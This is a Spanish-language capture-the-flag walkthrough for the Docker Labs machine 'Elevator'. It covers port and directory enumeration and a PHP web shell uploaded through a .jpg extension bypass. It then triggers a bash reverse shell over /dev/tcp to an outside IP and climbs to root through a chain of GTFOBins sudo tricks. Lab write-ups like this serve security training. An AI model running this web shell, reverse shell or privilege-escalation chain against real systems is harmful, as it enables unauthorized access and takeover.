Introducción
CTF Elevator creado creado por @beafn28 y que podemos encontrar en la plataforma Docker Labs. En este CTF veremos técncias de enuemración, carga de shells, ejeccción remota de código y diferentes formas de elevación de privielgios.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Elevator, realizando la enumeración de puertos y servicios disponibles.
nmap -p- -Pn -n --min-rate 2500 --open 172.17.0.2

Detectamos que está abierto el puerto 80 en la máquina objetivo. Continuamos con la enumeración detallada de los servicios descubiertos.
nmap -p80 -sVC -Pn -n 172.17.0.2

Enumeración Web
Vamos a comenzar a enumerar el sitio Web descubierto.



Haciendo clic en ¡Abre el ascensor! nos muestra un mensaje que pueden ser pistas para resolver la máquina. Continuaremos realizando una enumeración de durectorios.
feroxbuster --url http://172.17.0.2

En el directorio /themes, encontramos un directorio /uploads que peude ser interesante.

Encontramos un directory listing donde se pueden acceder a archivos que se carguen en el sistema. Vamos a continuar con una enumeración más detallada para tratar de localizar un endpoint donde se puedan cargar archivos.
feroxbuster -u http://172.17.0.2/themes -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -d 10 -t 200 -x php,txt,html,php.bak,bak,tar --status-codes 200

Localizamos un endpoint donde cargar archivos en el directorio /themes/archivo.html.

Acceso inicial
Una vez obtenemos un endpoint donde cargar archivos. Aunque indica que solo aceptar archivo .jpg, vamos a tratar de averiguar que archivo podremos cargar, y en función de esto, si podremos cargar una reverse shell.
Creamos el siguiente archivo:
<?php
system($_GET['cmd']);
?>

Procedemos a subir el archivo


Como comprobamos anteriormente, solo acepta archivos con extension jpg. Vamos a probar a realizar un bypass de esto añadiendo la extensión .jpg al archivo creado anteriormente.


Parece que hemos logrado subir nuestra shell maliciosa utilizando el bypass de la extensión .jpg
http://172.17.0.2/themes/uploads/68e54c7dc52ec.jpg/?cmd=id

Bingo, podemos ejecutar comandos en la máquina objetivo. Se ha ejecutado correctamente la shell que hemos subido.
Sabiendo esto, vamos a tratar de ejecutar comandos aprovechando la ejecución de comandos existente.
http://172.17.0.2/themes/uploads/68e54c7dc52ec.jpg/?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.64/443%200%3E%261%22
Mientras que en nuestro equipo debemos configurar un oyente netcat.

Pivotando a usuario Dafne
Una vez que hemos obtenido acceso a la máquina objetivo, continuamos con la elevación de privilegios. La primera comprobación que vamos a realizar es:
sudo -l

Consultamos el sitio Web GTFOBins para ver como aprovechar esto para pivotar de usuario.
sudo -u daphne /usr/bin/env /bin/sh

Obtenemos acceso como usuario Dafne.
Pivotando a usuario vilma

Volvemos a consultar GTFOBins para ver como aprovechar el vector descubierto.
sudo -u vilma /usr/bin/ash

Pivotando a usuario shaggy

Consultamos GTFOBins
sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/sh"'

Pivotando a usuario fred

Consultamos GTFOBins para ver como aprovechar este vector.
sudo -u fred /usr/bin/lua -e 'os.execute("/bin/sh")'

Pivotando a usuario Scooby

sudo -u scooby /usr/bin/gcc -wrapper /bin/sh,-s .

Elevación de privilegios
Una vez que hemos pivotado a usuario Scooby, vemos a listar sudo -l que que el binario sudo nos va a permitir elevar privilegios a root. Consultamos GTFOBins para determinar como elevar privilegios con este vector.
sudo -u root /usr/bin/sudo /bin/sh

Y ya habremos terminado la máquina Elevator.
No responses yet